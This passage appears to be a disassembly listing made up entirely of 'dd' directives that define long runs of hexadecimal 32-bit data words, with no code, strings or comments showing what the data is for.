9AF0D136h dd 320C2171h, 0C0600048h, 0AD8E486Ah, 0ED75DCh, 0A7C97524h dd 0DEEF174Fh, 0D8379300h, 4935B420h, 708B03B1h, 72888790h dd 77A7C001h, 0FD469526h, 1D6013E8h, 0C0F439B6h, 67758622h dd 6D00F1BAh, 0FB53A68Bh, 3588DFCh, 3EBC0269h, 8AB8B6C6h dd 0B0022D46h, 846FB415h, 5308C0A9h, 987D7429h, 0DE933D5Ch dd 0BF431279h, 80205D94h, 2F41D59Ch, 61005790h, 3A324CFAh dd 5494D92Eh, 4DDCAC5Ch, 2C825CE9h, 5048B146h, 6C99363Ah dd 0D36A15C0h, 0E5710C2Bh, 4B148A57h, 370E158h, 0E23A3C88h dd 2997B8FDh, 4E1403C8h, 0B8D733B6h, 0F422EF80h, 3B489Ch dd 0BC5A480Ah, 33D85D6h, 3A03CF25h, 29B88C2Bh, 0AE04AC27h dd 98180A22h, 0CEA92080h, 0A3CA00DAh, 0F4AFA6C1h, 7090471Eh dd 0A00D6ECh, 0E81ADE5h, 0ECAA97h, 0A6CB659Ah, 489B019Fh dd 0B9FCA500h, 23B08827h, 34730741h, 0B9716036h, 0CF921480h dd 3F7D32E7h, 58B25Ch, 1B36684h, 39E274EEh, 4BF7894Ch dd 93A80106h, 703CA488h, 0E600C158h, 190A0783h, 26FA6513h dd 84583D94h, 90B98C18h, 77C62EE0h, 0CF004AB0h, 15EB0E34h dd 0CF403B6h, 24020926h, 0BE715E29h, 0A3784F0Fh, 25193CB7h dd 0C8103520h, 94055084h, 0B267AB7Bh, 0D4CD040h, 57E4F69h dd 7A3C07B8h, 0CAB10EE0h, 1465C402h, 16EBC80h, 0BE0006FFh dd 0C8BD740Fh, 0C7BB542h, 321C8AA1h, 880F8160h, 0A15BD6BBh dd 0A9FAED30h, 8EDFD4h, 0FFBD3B26h, 53E4D2F7h, 0C202D1F4h dd 0D68C97F1h, 945E4057h, 873500C3h, 5AEDEF6Ah, 3600A911h dd 2C8C6542h, 6031BBA0h, 0B92B682Dh, 0C50028EBh, 27DF3659h dd 13D58838h, 45DE899Fh, 0B3024CC4h, 118000D0h, 835FB6C2h dd 26709AF7h, 0E6AAAEh, 2FF3E096h, 694CDE15h, 2B10944h dd 8DB482EBh, 645840D2h, 4033004Eh, 27062184h, 490B1913h dd 60D841C9h, 18A41FE8h, 11F2DE52h, 0EB003325h, 0BAB5BD4Dh dd 2A98288Eh, 3FF0D873h, 0CBD090Ah, 0E1D3DC80h, 0BCDDC73Dh dd 808F803Ch, 0D47687C8h, 1263A4B9h, 3C4FB1Ah, 0B60D5C44h dd 0B07BB1E8h, 421B56B0h, 9870EE18h, 38FAAB53h, 0B58F6968h dd 63C59ABBh, 912BC07Dh, 6398DF92h, 4750CA00h, 0DAFC1E83h dd 0B2C30015h, 814F2253h, 794E4321h, 71E1C000h, 28BC46C2h dd 28982DF8h, 4CB85DD8h, 809CB01Fh, 0F75ADE02h, 0B700F889h dd 0D0DDBD35h, 282AB14h, 2FD47087h, 64C0A39Ch, 1D00DFB9h dd 0AA04E851h, 7FA76086h, 795F720Dh, 469B002Dh, 34253377h dd 1713B4F9h, 4C00DBD7h, 597E45F4h, 8DB6003Eh, 131151CDh dd 48003188h, 1810964Fh, 60656E6Ch, 2523DE7Bh, 0C40A1690h dd 90D707F8h, 0B296003Ch, 0F4B0525Ch, 0AF9F018Ch, 16094C53h dd 64AF4363h, 8D6B5CF0h, 0EDC9100Ch, 7FC72166h, 133874CEh dd 9635CCBh, 5381473Ch, 0DCB2B5FAh, 0F20041EBh, 7829A88h dd 93A65Dh, 8A61E6A5h, 69FF9F2Ch, 5EDBC000h, 8662CC10h dd 0D54F0005h, 1A842511h, 0C6707102h, 0AE75BCA0h, 0B938FA00h dd 3386408Dh, 13F61EE4h, 585A039Eh, 3BB0E8D8h, 0FF0194C9h dd 0B62A953Dh, 68E0CA69h, 20A000F5h, 0A8CE75E4h, 0AA138139h dd 380177BCh, 2427B61h, 0B6DC3431h, 59C4033Bh, 0DDF344D9h dd 2B1697F0h, 0D0E14D12h, 5B34D0D1h, 54071C3Ch, 0FC6249F5h dd 3001611h, 192D7E3h, 0E2C7EA5Eh, 157628E4h, 0CD2725C1h dd 6C5C2441h, 809E2C2Ch, 64418E0Fh, 5CA075A2h, 0CB912C1Eh dd 74DF09E9h, 33E94880h, 6101F092h, 355C49BEh, 2C72E704h dd 50F21B0Ch, 1026B80h, 52F9D361h, 43504036h, 1D1A7AD2h dd 0BAA75E49h, 0CFD6760Eh, 7D8AF9C0h, 2900825Fh, 0A4D14D44h dd 0A0CA80CEh, 301357C0h, 0B5B107AEh, 78003A6Dh, 0C6804DF8h dd 3C37A56Ch, 9A00D553h, 0DFA81298h, 0D41F087Bh, 6A03FD3Eh dd 0C10329F6h, 403CB5A7h, 0E8673504h, 0D250E178h, 0D9023B22h dd 92BE84BCh, 79C4D096h, 0E403917Ah, 277FFE3Dh, 60CFA47Bh dd 515B7C19h, 0D1105028h, 0EE02F9FBh, 67ED081Eh, 9E4760C0h dd 3B771AEh, 3E23C69Bh, 60F8A476h, 0EE00614Eh, 7D4462BCh dd 7E988CA8h, 0A91600CAh, 58E2BE22h, 0FE001E6Eh, 0C59B3884h dd 0F901F56h, 6015F30Eh, 4E8F4543h, 6E07DF8h, 3C789100h dd 17B6391Eh, 0AEF20054h, 1045D90h, 830031E9h, 6FA743FFh dd 49FE6Ch, 0C513488Ah, 0BB04B54Eh, 0F2464F00h, 0BFAAFF6Dh dd 0FA990005h, 665F2144h, 0CC144C2Dh, 0B64BAFh, 0C803C50Bh dd 2613F83h, 0D933684h, 0F60A8E7h, 9918CF1Eh, 6C11FB0Fh dd 0F420C02Dh, 0DCEE2B4Fh, 0BEA6E001h, 763487B7h, 0E8B0B2DCh dd 0E59E3DFAh, 0BF0BE300h, 19435745h, 72BD6E00h, 0DED72F01h dd 1840ECAEh, 4929E64Ch, 55658CEFh, 1023DFB9h, 0F5080946h dd 2C0F9381h, 0C280540Fh, 19D6F48Ah, 0B1A3340Fh, 12AFC7EFh dd 0CF8EF940h, 1E1FE6Ah, 67E6DC96h, 8A54C22Ch, 3493EE38h dd 89368809h, 4674A04Ah, 2C6F3E16h, 78E085h, 25D345F8h dd 0A395147Eh, 0B0EA8EECh, 0F87588ABh, 860CA021h, 0DBD30055h dd 802B924Bh, 0C47CA784h, 3A1C5000h, 3DF967D1h, 31050060h dd 0AD0819F8h, 6F00E266h, 968E0482h, 0B55E78h, 59A953D3h dd 714E066Bh, 0C7F87900h, 579375C0h, 111B0092h, 382AB060h dd 221D8AFCh, 0A80C34FFh, 0F3881Eh, 0BD3D29CDh, 0E15585B4h dd 94DBF22Ch, 0C8D40480h, 0F860028Ch, 0C3955D1h, 0ED0843EDh dd 0E0107242h, 88A19FE3h, 0D546B9D8h, 2B4C0849h, 0F077020h dd 0B41A538Bh, 6E138185h, 0CC3EA040h, 26194B88h, 8014E1BDh dd 52C64DC7h, 0D130E21Fh, 1E7E5106h, 4CBCA407h, 0BA00FAE0h dd 8D4DD619h, 5F3CE3BFh, 0D8D430AAh, 0C748537Dh, 82A1B771h dd 0D0AF7145h, 4C06A20Fh, 0DF012149h, 420D72C6h, 0BC38AA73h dd 79DA7718h, 531CB5Ah, 43CAC8CCh, 0AC7CAC50h, 99C60298h dd 6E2F668Fh, 0C27F545Eh, 1468D576h, 0D505BA6h, 33F2FAC4h dd 0CE30A297h, 8A6C0277h, 8348F010h, 1334E2h, 9B4D3629h dd 0DC42761Fh, 0B900C278h, 796C15A6h, 324B97h, 12029C7Ah dd 0DDD4550h, 0A0F7C10Bh, 0E05E8F62h, 0AEDAF610h, 6D7A096Ch dd 0FE838BB7h, 0EC8809Eh, 0FB00D5B0h, 81EC4D41h, 673E6ADh dd 114CD004h, 43077967h, 1D5077DDh, 23CE603Fh, 0ABC892h dd 3EEF2CBCh, 90B015D8h, 0EF4B58h, 0E6229BC2h, 2CF3AF51h dd 0A3609Ah, 0F7B14363h, 0C100B3A5h, 0C9E664C7h, 2D6A2AF1h dd 8F5C45E7h, 654A6200h, 236C6h, 0D132E299h, 37185D2Bh dd 430060FEh, 0E6CB0F47h, 1AEF3Eh, 0C4DDD8EAh, 77C8E46Fh dd 0ED13547Ah, 0C1000AA5h, 5A13AA79h, 53C10594h, 0C03044BEh dd 0DDB571F1h, 0D4F16707h, 62208BB3h, 64D211F8h, 910DE282h dd 0D49CD358h, 6401DA32h, 433EA3A2h, 0C6C44EEBh, 27510068h dd 817079DCh, 0FB1D594Dh, 7BE5D4Ch, 5313E97Eh, 3CED9AC0h dd 0E89E0060h, 0D41D0539h, 8D0021DDh, 0E7E414C6h, 18C3D8Fh dd 1EBD632Fh, 0EE3F41A3h, 0C914CA20h, 24FE009Ah, 4868D54Eh dd 9300C3DCh, 0B24CE3BCh, 0EA49B8h, 5332C8E1h, 847E60B6h dd 0E202AC00h, 3A771FA1h, 0B4683BB8h, 673F313Dh, 0F5BF687h dd 0F059A741h, 0FE804C03h, 35688903h, 87B192ABh, 83266B70h dd 0B7572C31h, 0C49700D0h, 180EF02Ah, 0E35ED600h, 997A7DF9h dd 7F490048h, 0FFCB7094h, 7700C984h, 0FE549A80h, 7BBC5A6Fh dd 92E703D9h, 6A22EE52h, 0ED00E0E6h, 3BD31DE2h, 234692Ch dd 530E52DFh, 9680A16Ch, 44D02D1h, 29AB5D00h, 44335695h dd 9D0900EBh, 1A4F3630h, 0D2603AA5h, 172416D8h, 14FD00E1h dd 0A0C2D822h, 0E4009D69h, 8EFA7C78h, 0FBBA97h, 1F9FBCCFh dd 518BA042h, 4900ACFEh, 0A8B1FC14h, 943C770h, 8FC6E10Fh dd 8851E824h, 307E214h, 4D39AF94h, 65E32D30h, 0E7D507C0h dd 38481Dh, 2F9242BFh, 9CB0FE19h, 0E6F41h, 0DAF5DDECh dd 0EBF440h, 0A023DF6h, 0EDD5CD64h, 0DDD3230Fh, 0C5AE012Ch dd 20F8DF2Dh, 59BB225Ch, 0D0B09100h, 0D337E7CDh, 0AA61280h dd 0C1084BADh, 0F6666687h dd 0CE006132h, 20042FD5h, 77FDA24h, 2150E2B8h, 3418E0BBh dd 20906C3Bh, 6160A630h, 5CDBFh, 0F3D411F9h, 3DB2615Ah dd 40C1F024h, 0CA04873Bh, 7FC3D72Bh, 4569C9A5h, 3C88A422h dd 729710C0h, 20CB306Ah, 56AC2CA9h, 38C8E56h, 0B8D73FADh dd 7189F055h, 0F041E765h, 12FCF88Ah, 2C90AC42h, 8A181908h dd 80E4AE01h, 1A8FB482h, 0EE5436F5h, 2000DB80h, 0FE34A6D3h dd 0EDD626Dh, 0F9D1A496h, 164A79B8h, 4C29C503h, 0D01C9DB7h dd 38EE0413h, 6181B428h, 648EDE86h, 338080CCh, 0B3859F53h dd 0EF3700CFh, 0EA1F3239h, 130EB2F5h, 2B4AEEFDh, 0B66E0093h dd 79A6F2h, 11E988ECh, 0FBC3AA9Ch, 0BD3B6400h, 991790B2h dd 5BEA0444h, 8091A846h, 0A653518Ch, 0CBD5803h, 0A3EB29h dd 17ACA2E9h, 0F9140D1Eh, 2DA5A4A8h, 68114402h, 57EDEE9Eh dd 53383DC0h, 9CA34D09h, 9800F71Dh, 56D7C36Dh, 0EA24CCE0h dd 0F500B04Fh, 7DE5261Ah, 35DA398Eh, 645F8C80h, 1CF4D514h dd 55DBD103h, 80E0B975h, 9141FE16h, 0A6BC8304h, 40A88F78h dd 4A186C2Dh, 0F2C08DB1h, 3C0D00C2h, 0A3CC2257h, 5600AE8Fh dd 0CD204675h, 7BE962Fh, 5AF6D147h, 8D44E0A0h, 0D8702CACh dd 0B0054B9h, 0C54256D5h, 1A68246Fh, 21E7040Dh, 8115C702h dd 32C11E2Dh, 395EC788h, 0C0D08284h, 18E7982Ch, 2104EED2h dd 0DE2641E8h, 0F28FE8FFh, 329BCF2Ch, 76E2B840h, 4629E81h dd 191EF6CAh, 8BC8D199h, 0C00862A3h, 0E4B9559Bh, 26009B3Bh dd 7E528034h, 271690EEh, 0DEF1E212h, 0FF24849h, 4CB895ACh dd 22E500BCh, 0BA33CF01h, 3FD7674h, 8DFF7978h, 0B9039548h dd 0ABEE6F4Dh, 5EF4985Bh, 0A750078h, 65B23C66h, 3A3D15B8h dd 0B11A9373h, 96944D00h, 1225942h, 48568A1h, 202E36CBh dd 9E008765h, 0C709F77Ch, 3D40B2E8h, 1F4AF19h, 73CD981Dh dd 0ED3CDBE3h, 2774D050h, 8C07B3F4h, 6DBCECFAh, 0E813E400h dd 0D6F30078h, 2C9FEBC0h, 54B0552Fh, 0C3205700h, 0BE2565C5h dd 0B56B001Eh, 30FC02B8h, 82016990h, 79927CCFh, 70203CF6h dd 129E772Ch, 908575D3h, 0EEA11794h, 0D20C2B0Eh, 0DA864192h dd 90400231h, 0B0837DC4h, 0DD580008h, 0F0531CFFh, 6BE8E54Eh dd 5F2E3D00h, 5C9E844Ah, 76BD059Fh, 4EC73E28h, 6BA195CCh dd 0F06F19C0h, 0EC0025BEh, 6EEFE068h, 0B0A59E6h, 0D331F8F3h dd 6D242680h, 6C3E810Fh, 2A660E6Fh, 941C023Ah, 20CE8F11h dd 6EF84BFFh, 896207B9h, 0E0DF40BEh, 550C87F1h, 0E82ED400h dd 0B986669Dh, 927F2EACh, 778C00ABh, 5753E9DAh, 7300D573h dd 176EEB3Bh, 73E7AAAFh, 7C51075Dh, 0BA12B988h, 0EC2E88h dd 694B768h, 0AB4CF91Ch, 9E29F08h, 3E9D41B3h, 0E5115020h dd 0DC58F5CCh, 1A6100DCh, 65C3CF27h, 8EEEE9h, 42D77FAEh dd 6F45325Ah, 6AD8A600h, 8344C0FDh, 703A5C80h, 6007F05Ch dd 10D8C682h, 99B37D8Dh, 0F16B6300h, 0A398C5EAh, 7041487Fh dd 4ABF240Fh, 0B91FDD40h, 0C7746347h, 0A0B71E30h, 145928Eh dd 0F0EBFA1Dh, 68D3C252h, 42890F2Ch, 44DD401Eh, 2B0DF1Dh dd 0B1ABE5B8h, 0A041B36Bh, 0F2C3F4B9h, 0E2653D00h, 63884519h dd 8E6D3050h, 15AABDF1h, 0C3A6F104h, 0F0D0F323h, 4A995BF2h dd 9300448Bh, 7554C05Dh, 0C90082A7h, 49D462E5h, 78EDF73h dd 47BD053Dh, 0BCA0296Dh, 1A53ACCFh, 4AC1F903h, 0C861648Ch dd 0B906E4ADh, 4030400Ch, 10C0AEE6h, 71451CEFh, 689F0092h dd 96EE6B59h, 0F8F82930h, 20B028B2h, 80F8D958h, 73F020E0h dd 7759779Bh, 883E4D65h, 0F99C3Bh, 0A01042DEh, 70985180h dd 12BC7D00h, 0BF7AF3C2h, 0A770FDh, 1CAB60FEh, 0BAB8A3D9h dd 74B3DC00h, 1DC333EEh, 0B8CC6213h, 4868D9F4h, 5052F6E5h dd 0A36025Ch, 91CD65E2h, 0C8209A50h, 785000ECh, 2E8BB453h dd 0AE26BD3h, 6945DF00h, 75A77958h, 93E70383h, 8C162254h dd 5E5C91BCh, 6C3D20DCh, 5098CA54h, 4785BA00h, 0C225ED82h dd 0D7609FCh, 1818C064h, 0E71B562h, 97E5DF04h, 7490CF08h dd 11F5DD1h, 0B21748F5h, 282CE282h, 0EDDC8178h, 69BE218Eh dd 65F07701h, 8BE8D3A5h, 0B080BF1h, 0F720308Bh, 1CE15C11h dd 0A338FB9Fh, 6E2F84Ch, 3A257C01h, 9A269180h, 0A389D868h dd 9F54625Dh, 1239E801h, 9180FFCAh, 9E6EAC32h, 1317BFA1h dd 78000C1Ch, 7C7A2F3h, 0F21F0FE4h, 0BC0ECAEh, 2AC974D4h dd 86CC2701h, 1B5BB954h, 60149BF0h, 4568389Fh, 2600E6D5h dd 0B92A2134h, 3D959150h, 4B9CEB7Fh, 0D778C59h, 6600B6C0h dd 46BDF901h, 7C3054h, 98B272F8h, 484B3175h, 11749F02h dd 0E0200641h, 0AD60A4Ch, 35F4223Eh, 6AD1868Ch, 6D2AC8B0h dd 872A8C90h, 6733D863h, 0D65029BAh, 0AC0D4CF0h, 153D3F00h dd 0CA5B5E7Ch, 43058B00h, 42A0972Bh, 0B2F31C2Dh, 0C0C11CCEh dd 9BA513C3h, 0F103847Bh, 0CC7152B8h, 4F2780EEh, 73FF00D4h dd 58AD25F8h, 860F9410h, 6906C2h, 81229FC4h, 7370267h dd 0C565C040h, 0D91FE450h, 0B680DBE8h, 2D431D59h, 37C100E2h dd 6E87B375h, 0EE00E926h, 9E3E4DDh, 1C9BBDA4h, 0DEFC35DCh dd 9E820096h, 9AA61FC2h, 7C277A1Ch, 20809F41h, 98746443h dd 0BA060146h, 68B37844h, 79845053h, 8A1D5558h, 72404E47h dd 5E6D6EFDh, 99A90094h, 2349CAE2h, 4300BCBEh, 0C629EB24h dd 0B0330BEEh, 6FC43D8Dh, 804126h, 0F9D54942h, 7BFEFE11h dd 201D9030h, 3AB22F2h, 6BB35569h, 0A6980E07h, 0D500BF74h dd 71B2B8DDh, 7B579C09h, 654B0084h, 584D02B0h, 0EA3E305Dh dd 86D99C96h, 766792C2h, 90C620B8h, 0BA00AD95h, 0E464D49Dh dd 7940DCC8h, 521F38C4h, 12DE0113h, 50E8C7C7h, 5F26E114h dd 0B29BB500h, 96EF6A03h, 8F4B0E25h, 86A05158h, 0D43F6C01h dd 0A30D3D00h, 0E902A02Bh, 45B90152h, 0C4B7EBF3h, 209EE19Dh dd 99007E40h, 6A60BB70h, 2E298C2h, 0C7FF7A4Ch, 0F4501B81h dd 20DA8C88h, 0C638FD00h, 0A69D76D6h, 7E07F2AEh, 1EBB0F1Dh dd 0A8808C6Ch, 0F7C01655h, 21E2F6ECh, 4751E300h, 59562AF0h dd 1611000Fh, 53CF5226h, 4F03B9BBh, 81957ECBh, 0D680150h dd 0E173885Dh, 0DCC88064h, 91E0312Eh, 9CCB5036h, 220F0039h dd 17D3D07Bh, 0F6009F6Dh, 6948D42Ah, 59247h, 0B49A7981h dd 0CC34C3B2h, 0C0599C1Eh, 0C141DC80h, 139860A9h, 80856DEEh dd 48B97198h, 0D6428E1Dh, 4D633E40h, 587C49h, 0E279415h dd 0FE8D4846h, 0E442C400h, 0BCF49DF0h, 0BB5C0056h, 0FFE2C3F5h dd 860F40A2h, 89475B7Ah, 2E600E7Dh, 64ACC06Bh, 410E15h dd 82FBA2D7h, 0E2CB0B89h, 91E55800h, 5F4BBB96h, 7EB900AFh dd 0EBCA10EFh, 0D400566Dh, 953D258Dh, 72F81BBFh, 1EA8007Dh dd 3A644CA6h, 60B07859h, 56480C07h, 95602E75h, 0A23F06h dd 79707755h, 0B3382FBEh, 0EE78560Fh, 0E10980AAh, 0ECE9EEDh dd 3C5FC042h, 0F5F3F6C0h, 1D7A9B28h, 0CDBA5B14h, 1F571EC8h dd 0C6D7F100h, 2646B899h, 924C5DA3h, 92C46362h, 6C4E8CE8h dd 46F1F600h, 0EADDC9E3h, 4F9600D4h, 0BFA723BDh, 610059A8h dd 0E14AEE04h, 0CFA3FA1Ah, 0B0EDC68h, 161C00D2h, 9DE8C20h dd 0C0C6F212h, 0F9410400h, 83AC02h, 0EF19D836h, 0B756100Bh dd 8A912700h, 0AFF64435h, 892F0090h, 0DFEE2392h, 2601E9B1h dd 650C0EF9h, 2864B94Ah, 0C59C0075h, 0F0E822A0h, 3200B6FDh dd 0FF5AD0FBh, 321FC0Ah dd 20E5EACh, 0E3D8AA01h, 1A31EDCAh, 5864D83Ch, 932130h dd 70BA5661h, 0B3F66D7Bh, 0FF43AF00h, 0E4DA2DD1h, 4D7F09E6h dd 58E05181h, 0D500088Dh, 0B76F533Ah, 9A1A2h, 0BDB5D826h dd 0F42CB44Ah, 5B231A00h, 38C6448Bh, 3F1E00E8h, 0CF45B8A6h dd 3300F51Dh, 0A7863E3Ch, 948DF62Ch, 0BC460320h, 73A0C2E6h dd 0D36F0381h, 5B7E8570h, 7A7AA0B4h, 88961FBAh, 39A49DA2h dd 0C81A7E17h, 0C3806C08h, 0E02B1DF1h, 0D22700E3h, 0C7C6881Ch dd 2C8D18D7h, 0E1D37641h, 541814CBh, 270E74E6h, 16805C4Ch dd 0B062B503h, 0DC73C700h, 0B3F8DDF1h, 1829CC72h, 17133F20h dd 0ACE1535Fh, 403F0CF9h, 0BED3C478h, 2100772Bh, 506D9D53h dd 7516884Bh, 0AACB03FFh, 308E049Ah, 87081C5h, 1FFC6CF8h dd 110B15CCh, 8C50A7h, 0F66AB2FFh, 55C95824h, 0F1E0D300h dd 96CBC8CDh, 0D5802FEFh, 0B1F4F800h, 0D118B606h, 0E288E50Ch dd 0F9743Ch, 3629284Bh, 0E7EA671h, 1F981E07h, 561019BAh dd 0FBADF7h, 0ED084AB0h, 90DE2685h, 0EAE1F502h, 2A555A8Ch dd 4CDF0769h, 0CF750269h, 12008072h, 0D954BEC7h, 0C3EB27h dd 25FF6FCAh, 85AEC7Eh, 7622820Ch, 44A31E3h, 0C5EE2961h dd 3CBF8118h, 28D9DBE2h, 7FF8D464h, 8C76AB8h, 7B0FB75h dd 0BE687342h, 49C6981Ch, 6000FC3Ch, 0CA37DF11h, 0B582ACh dd 9179DC06h, 40C4DB62h, 0EF731007h, 18C0BF86h, 0BCABB1h dd 787EF905h, 0C04BAF89h, 7C9F9A00h, 969DB73Dh, 0D2ED1D1Bh dd 40AEC6ACh, 35F85009h, 0BE204862h, 9D580D65h, 0D4068220h dd 118438h, 868B2170h, 1CAAB7E2h, 84A0933h, 0CE210078h dd 2D2A8B59h, 21381950h, 254180A9h, 4676CF2h, 9EBC5CAAh dd 27A08630h, 880039DEh, 0AE4D62EDh, 0C00701B0h, 0C6D31048h dd 0BC06915Ch, 0F4843C0Ah, 21196009h, 425CFEB3h, 279BAB1Dh dd 2485088Ah, 0E3899311h, 0E2BCF381h, 1724523Dh, 5BDB4620h dd 78C3182Dh, 12BBF929h, 58C48E74h, 6E0EF61Ch, 0D71D1A27h dd 0E88640FFh, 9C7A5939h, 0CF25C801h, 19B0C730h, 5514E8h dd 98B64681h, 0F03AA2Bh, 58507000h, 4BA3F21Ah, 5A540016h dd 6F6BAC6Ch, 0CE00C53Ch, 0FAE8CF47h, 0B1E93A4h, 132EBA19h dd 6244B400h, 4F28BF65h, 0A0FA8D4h, 0E081E404h, 56B07301h dd 7C61F2A2h, 40470097h, 6F96C023h, 540022AFh, 0C31BFB2Fh dd 0D14E57h, 0CA9F8EC1h, 0B388D36Eh, 74B7F300h, 54E36DD7h dd 84C10028h, 0C04C32C7h, 22004E97h, 24DEDA2Ch, 3C884FE7h dd 29309E21h, 4A725448h, 0B8EC9D00h, 0ABF43922h, 96E444CAh dd 1A66200h, 0F127787Fh, 838D3E13h, 0C43CDF0Ch, 192CC841h dd 2D058852h, 93C64843h, 0E8CB3008h, 52729120h, 7236458h dd 989E5F34h, 1CEFD3h, 0D6AFCB21h, 0EEFB4B75h, 495F631Eh dd 879B414Fh, 0A3471EC9h, 9A9C818Eh, 0B980B857h, 19D33AAh dd 2400F18Fh, 25395A70h, 95D576h, 1C0D2763h, 0A8E9D4Bh dd 0C831E574h, 0E309B101h, 0FD280880h, 0B77DBEF4h, 0F74B8200h dd 2D9C0F67h, 6A790064h, 0F3937768h, 0A500973Dh, 39B93CBFh dd 564E2F8h, 0AE22F547h, 8E94406Eh, 87356855h, 0EDB2E30Ch dd 0A47439h, 291B2BC4h, 0C20AF294h, 0B7CF79DEh, 32CA7FD5h dd 1743C42Ch, 212EA0C3h, 0E129C0DCh, 6AAF8DFCh, 0C5A8C206h dd 6708D242h, 0AA2F21D5h, 10E806C8h, 0EF2A8963h, 0B900AC41h dd 354549D4h, 0C828668h, 4D577229h, 9201B429h, 0E6CFC79Ch dd 0D6D79105h, 918B6008h, 89CFA07h, 0A037E402h, 40ACB763h dd 0C7CAA934h, 0F0E0F5C8h, 2DA8364Ah, 4B427401h, 859B4F79h dd 6453FCh, 87F7F228h, 155DC1E6h, 0E10014FEh, 8EFE7816h dd 363AACh, 0DBFFE826h, 0DA0FCD01h, 806B8A33h, 1BEAD39Dh dd 0F163D7C9h, 834657E1h, 7B0538C1h, 42E3D80Eh, 0F5BC00B8h dd 0AF8BEA5Bh, 0E9C093CAh, 5D73299Dh, 0D8330C1Bh, 5C50B7F5h dd 2A137E44h, 78B889EFh, 6C344982h, 76521E80h, 448C35A9h dd 1F00E6E5h, 0AA41C352h, 12EE2E1Ah, 1A5A1ABh, 50343F24h dd 0BDDAEC0Ah, 4FE93314h, 8CCDB830h, 7A8B7E00h, 0D64A4E33h dd 0E52903DEh, 0A9644082h, 0ABC872AAh, 0AD509963h, 3E60EFD0h dd 502B1541h, 0C779E6h, 0D99C5CF4h, 0AD21DF67h, 0E1005172h dd 59B65E14h, 2D9E3A3Ch, 0DFD064A0h, 19417100h, 4C71AE1h dd 0A57F02D8h, 0BA1D57E9h, 0A250D082h, 0E466A0A0h, 713A1078h dd 0D846006Ah, 2B25C9A3h, 21B100E8h, 989AFC5h, 5C00E1A0h dd 0A3873A18h, 13271ADh, 4F53F36Ah, 21B83628h, 17FFD00h dd 98D4C2E8h, 1130C48Ch, 6A6CD033h, 0C3518663h, 0D16FE5E4h dd 0A7D36002h, 0B105C101h, 0F81F1B5Ch, 0D094F450h, 107D29DEh dd 7508C420h, 2044C004h, 0F08DC631h, 448CD26Ah, 8DEA01DFh dd 2CBA0D00h, 4E64379Fh, 0EDBE3019h, 5138E821h, 0C0F85892h dd 6EE0FCABh, 0D8A8EE3Bh, 0E0A0882Eh, 0F48BABD9h, 86574D40h dd 8770CEBAh, 977CA800h, 36C9F44Bh, 24A27F79h, 11EC5EA7h dd 9C888010h, 8CB6CFEDh, 11217F60h, 1E69CB0h, 29E0F8E4h dd 6242D823h, 9F680F1Ch, 32900077h, 136BDDB9h, 0AA81CC2h dd 828C59A0h, 0B73AE888h, 1DEF1468h, 0EBE1B1C0h, 130AE6h dd 0F93D8D68h, 0A8746A81h, 1983A900h, 67AFBF0Fh, 905E03B5h dd 0AEEAF6D0h, 48D257E1h, 47423A98h, 0AFB46704h, 4298892Ch dd 1D3033A0h, 0A2131152h, 80D6884Dh, 0CB5216DDh, 8405D787h dd 11B974D5h, 0C01F9808h, 0CFFC9CAFh, 45229E46h, 0A1203E61h dd 0C3406AB7h, 739F5B62h, 721DE56h, 11ACB6BEh, 20FC929Ch dd 2905CB2Ch, 9D5022B2h, 9A2CAC43h, 0BB6CD0CDh, 471D3D6Fh dd 42AC121Dh, 64E8B601h, 35EFD090h, 0CC1CEh, 0B6E50EE2h dd 37B903F5h, 0F8141989h, 0BC234B88h, 76E4BF00h, 72EC66B5h dd 8DEA0FF2h, 2722DC4h, 8F1D4444h, 112C9D09h, 1D2680D3h dd 83D9EA9h, 3FEF7468h, 0B608DB81h, 0ABD0635Fh, 0C3490437h dd 80203381h, 0F6DC5A6Ch, 881D48B8h, 36004E4Fh, 0ABE93A22h dd 0C191C179h, 0CA03ED8Dh, 0ECBEDC20h, 5E0E0214h, 0D62F3299h dd 3B6F8EE0h, 403C2D59h, 0E8C71DCh, 0CFC69CB1h, 298184D1h dd 9C991400h, 7838CC87h, 0A25E1688h, 97DAC704h, 7FD7C8D0h dd 229CB845h, 0F1CE470h, 0A4C0B88Fh, 8E22D1D0h, 4678B8C4h dd 521A02E0h, 3115A212h, 8B8A10F0h, 177C0152h, 210F5063h dd 59E982E9h, 60EB3B56h, 0E4BD87FDh, 2CD1509Eh, 0B03CB886h dd 12E82C24h, 0BEAB42C4h, 66529846h, 0BCDE5080h, 0C7586701h dd 990DCF8Ah, 4490EC70h, 0D7FFD722h, 1B6E9290h, 0E33834F9h dd 0E27BF01h, 0DB8022A5h, 7563DCC0h, 0F79A2661h, 973B0EC8h dd 0D2C4EF61h, 5D81CCB5h, 0E9487500h, 77E3A536h, 70DC48DAh dd 0CC2B6D06h, 0B50058A9h, 5B575C18h, 71398513h, 5A670087h dd 0EDBAF40Dh, 0B09904D5h, 868FDDD0h, 0B998A607h, 0E6C12AC9h dd 0BAD90F55h, 0E4F1C100h, 5194C500h, 30DDAA74h, 0C468057Bh dd 9202920Eh, 0BCC58338h, 0BA60EFE4h, 0D30468C9h, 0A5345B96h dd 0EF7E32C0h, 0EAED075Eh, 0DB222B8Eh, 0DA3839h, 6066819Bh dd 0A7CF7172h, 6CB09A8Ah, 0C93B6D00h, 0E9B7FF5Eh, 0C7152C75h dd 9981507Ch, 20678C29h, 305A14C2h, 9F0F4A2Eh, 0B31F399h dd 8081DC9h, 2A63298Bh, 2CE8A0EBh, 0EF19C58Ah, 0D04488D2h dd 81AA400h, 364809B7h, 4F2F0140h, 77142C0Dh, 0EF7C6092h dd 52C2F622h, 0A5FE04C1h dd 5073D00Eh, 8808F2Ch, 0CA0CE411h, 70B29ABh, 0AAB605B3h dd 0CBBF60DCh, 2C03078Ah, 6498747Bh, 0A09FFBC1h, 0E2666721h dd 0BC814C3Bh, 0AC903125h, 0AC05BDF3h, 60EDFDA7h, 8FF6F8C7h dd 5FB94469h, 9A003777h, 8E9CA693h, 382A9F4Ch, 6A011049h dd 0D74ADEB1h, 0C1A19869h, 3AC8D111h, 0AE00D80Ch, 9091671Eh dd 223E872Eh, 0F54A0FC9h, 0E058E072h, 9C207486h, 49F18004h dd 7A80FC96h, 9A3C2406h, 18E0625h, 11D01B4Bh, 60C2380Bh dd 12F9DA38h, 0EB70C039h, 0FCDF4C4Fh, 0D5108800h, 0C8C70332h dd 749F2E1Dh, 2C806E18h, 34B916DAh, 989C1EE7h, 0C69DB9BCh dd 98AD496h, 4E844Ch, 908BAE70h, 0F3B3DB8h, 6EE10B00h dd 0BFA67C99h, 0B8C48F32h, 0F8A4E457h, 9BA501DDh, 4F66A94Bh dd 